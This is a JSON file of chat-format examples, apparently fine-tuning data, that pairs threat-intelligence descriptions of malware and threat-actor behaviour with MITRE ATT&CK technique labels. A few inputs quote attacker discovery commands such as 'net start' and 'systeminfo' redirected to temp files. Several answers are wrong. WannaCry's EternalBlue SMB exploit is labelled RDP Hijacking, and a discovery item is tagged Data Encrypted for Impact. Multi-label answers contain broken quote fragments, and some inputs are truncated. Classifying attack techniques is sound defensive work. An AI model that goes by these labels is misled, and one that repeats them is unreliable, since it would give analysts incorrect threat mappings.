                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The VBScript also uploads the output of the provided batch scripts to the command and control (C2) server, which provides threat actors a functional remote shell to the system"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stores information gathered from the endpoint in a file named 1.hwp."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "launches a script to delete their original decoy file to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the following command following exploitation of a machine with  malware to obtain information about services: net start >> %temp%\\download"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker variants used the Windows AUTORUN feature to spread through USB propagation."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The phishing messages were found to contain a Microsoft Word document attachment that uses VBA macros to install LookBack malware. When the attachment is executed, the malicious VBA macro within the Microsoft Word attachment drops three Privacy Enhanced Mail (PEM) files to the host: tempgup.txt, tempgup2.txt, and tempsodom.txt. Additionally, the file Temptcm.tmp, which is a version of certutil.exe, is dropped to decode the PEM files using Temptcm.tmp. The macro next creates a copy of the decoded PEM files restoring their proper file extensions with the Windows essentuti.exe. Finally, the macro launches GUP.exe and the libcurl.dll loader separately, resulting in the execution of LookBack malware"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "System info:  Computer name System info using: cmd /c systeminfo >%temp%\\temp.ini List of currently running process using: cmd /c tasklist >%temp%\\temp.ini    Exfiltration  The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern:  From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1074 - Data Staged', 'T1057 - Process Discovery', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to obtain screenshots of the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has conducted broad phishing campaigns using malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can report the IP of the compromised host to attacker controlled infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa has downloaded additional files, including an exploit for used privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell has a module to download and upload files to the system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum's installer can attempt to achieve persistence by creating a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon uses commands such as \"netsh interface show\" to discover network interface settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has executed malware by calling the API function `CreateProcessW`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors staged archived files in a temporary directory prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike's \"beacon\" payload is capable of capturing screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The communication between the malware and the server is based on the HTTP protocol and slightly varies between the samples. Every few seconds the backdoor sends a POST request to the C&amp;C URL. The result is encrypted and sent back to another URL on the server as the parameter of a POST request"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "48b9e25491e088a35105274cae0b9e67 MD5 hash of the current timestamp calculated during execution. MD5 hash of the current timestamp calculated during execution. 5-15 Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - 0 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting” - 0 Activate execution timestamp (0 by default) — execution \"activates\" or continues if current time is greater than the value in the configuration - Activate execution timestamp (0 by default) — execution \"activates\" or continues if current time is greater than the value in the configuration - - Base64-encoded User-agent used in HTTPS requests"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan will attempt to inject code into these browsers to carry out its C2 communications. To carry out C2 communications via injected code in a remote process, the injected code reaches out to the C2 server and saves the response to a memory mapped file named SNFIRNW. Command and Control Communications In addition to being able to communicate with its C2 server from code injected into a web browser, the Trojan can also carry out the same communication process within its own process"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has changed permissions of a second-stage payload to an executable via \"chmod\"."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can use `cmd.exe` to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaos provides a reverse shell connection on 8338/TCP, encrypted via AES."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has been delivered by sending victims a phishing email containing a malicious .docx file."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to privilege escalation, Egregor proceeds to Active Directory reconnaissance using tools such as Sharphound or AdFind. These tools are used to gather information about users, groups, computers, and so on"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged the DDE protocol to deliver their malware."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can collect the username from the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with \".Md5.exe\", and if the program is executed from the root of the C:\\ drive, as well as checks for sandbox-related libraries."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has used Powershell scripts to deploy its ransomware."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "enables the Remote Desktop Protocol for persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by  can run commands on the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Symantec determined a more accurate picture of Buckeye’s targets by looking at where Buckeye remained active on the network longer than a day, deployed additional tools, and spread onto multiple computers"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, MCMD spawns a console process (cmd.exe) with redirected standard input and output (I/O) handles. Immediately after execution, the window properties of both the MCMD and cmd.exe processes are modified to prevent them from being visible on the active user's desktop. MCMD utilizes the shared I/O handles to send and receive data between the C2 server and the command shell (see Figure 1"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat has collected files and data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These files are downloaded to a directory (C:\\Users\\Public\\Libraries\\tempsys) on the infected machine by Bxaki() and xparis()"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network. These observations come from system log data, CrowdStrike Falcon® sensor telemetry, and the output of the Falcon Forensic Collector (a customized version of CrowdStrike’s freely distributed community tool, CrowdResponse"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can use a custom hex byte swapping encoding scheme to obfuscate tasking traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One version of Helminth consists of VBScript scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon terminates anti-malware processes if they’re found running on the system."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system. Notably, after the first SMB packet sent to the victim’s IP address, the malware sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5"
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Successful execution of the macro within the malicious document results in the installation of APT28’s signature GAMEFISH malware"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can collect a variety of information from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware WhiskeyDelta-Two contains a function that attempts to rename the administrator’s account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used stolen credentials to connect to the victim's network via VPN."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can use `VirtualAlloc`, `WriteProcessMemory`, and then `CreateRemoteThread` to execute shellcode within the address space of `Notepad.exe`."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since the 2016 publication, Microsoft has come across an evolution of PLATINUM’s file-transfer tool, one that uses the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has included embedded Visual Basic scripts in malicious documents."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can perform DLL loading."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOBELIUM has been observed modifying Azure AD to enable long-term persistence and access to sensitive information. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. In one incident, MSTIC observed the use of Azure RunCommand, paired with Azure admin-on-behalf-of (AOBO), as a technique to gain access to virtual machines and shift access from cloud to on-premise. NOBELIUM has demonstrated an ongoing interest in targeting privileged users, including Global Administrators. NOBELIUM is frequently observed conducting activities consistent with intelligence collection"
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has the ability to discover the domain name of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes the original dropped file from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE can establish persistence by installing itself in the startup folder, whereas the GO variant has created a `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookM` registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  tools encode data with base64 when posting it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can manage services and processes."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used PowerShell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
